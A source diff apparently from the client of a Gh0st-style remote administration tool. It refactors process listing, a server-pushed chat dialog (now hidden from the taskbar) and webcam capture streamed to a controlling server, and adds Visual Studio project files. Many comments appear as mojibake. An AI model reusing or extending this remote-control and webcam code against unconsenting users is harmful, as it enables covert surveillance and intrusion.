||||
public:
|
||||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
||||
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
|
||||
__inline int time() const { return now() - tick; }
|
||||
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||
~auto_tick() { stop(); }
|
||||
|
||||
__inline void stop() {
|
||||
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||
}
|
||||
};
|
||||
|
||||
#ifdef _DEBUG
|
||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||
#define STOP_TICK TICK.stop()
|
||||
#else
|
||||
#define AUTO_TICK(thresh)
|
||||
#define STOP_TICK
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
@@ -8,6 +8,11 @@
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#include <Psapi.h>
|
||||
|
||||
#pragma comment(lib,"psapi.lib")
|
||||
@@ -21,7 +26,7 @@ enum
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
|
||||
{
|
||||
if (bHow==COMMAND_SYSTEM)
|
||||
{
|
||||
@@ -73,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList()
|
||||
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
dwOffset = 1;
|
||||
|
||||
@@ -129,7 +135,7 @@ LPBYTE CSystemManager::GetProcessList()
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||
@@ -258,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
|
||||
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
||||
if (szBuffer == NULL)
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//[<5B><>Ϣ][4Notepad.exe\0]
|
||||
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||
dwOffset = LocalSize(szBuffer); //1
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
||||
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
|
||||
virtual ~CSystemManager();
|
||||
LPBYTE GetProcessList();
|
||||
VOID SendProcessList();
|
||||
|
||||
@@ -20,24 +20,25 @@ using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
char g_Buffer[0x1000] = {0};
|
||||
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
||||
UINT_PTR g_Event = 0;
|
||||
|
||||
IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
cout<<"Talk <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -52,7 +53,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
default:
|
||||
{
|
||||
memcpy(g_Buffer, szBuffer, ulLength);
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL,DialogProc); //SDK C MFC C++
|
||||
@@ -61,7 +62,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
|
||||
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
switch(uMsg)
|
||||
@@ -73,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
}
|
||||
case WM_INITDIALOG:
|
||||
{
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||
// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
|
||||
OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
@@ -14,11 +14,11 @@
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
CTalkManager(IOCPClient* ClientObject, int n);
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
static VOID OnInitDialog(HWND hDlg);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@@ -13,18 +13,19 @@
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -38,7 +39,14 @@
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
|
||||
168
client/TestRun_vs2015.vcxproj
Normal file
168
client/TestRun_vs2015.vcxproj
Normal file
@@ -0,0 +1,168 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>TestRun</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource1.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -11,7 +11,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
|
||||
@@ -22,20 +22,19 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
|
||||
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
static DWORD dwLastScreen = GetTickCount();
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) //ת<><D7AA>Initialize
|
||||
{
|
||||
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
@@ -55,18 +54,18 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
int span = sleep-(GetTickCount() - dwLastScreen);
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount();
|
||||
Mprintf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount64();
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
std::cout<<"CVideoManager WorkThread end\n";
|
||||
Mprintf("CVideoManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -77,7 +76,7 @@ CVideoManager::~CVideoManager()
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
@@ -90,7 +89,7 @@ CVideoManager::~CVideoManager()
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
std::cout<<"CVideoManager Destroy \n";
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
@@ -170,13 +169,13 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
CVideoManager(IOCPClient* ClientObject, int n) ;
|
||||
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
|
||||
virtual ~CVideoManager();
|
||||
|
||||
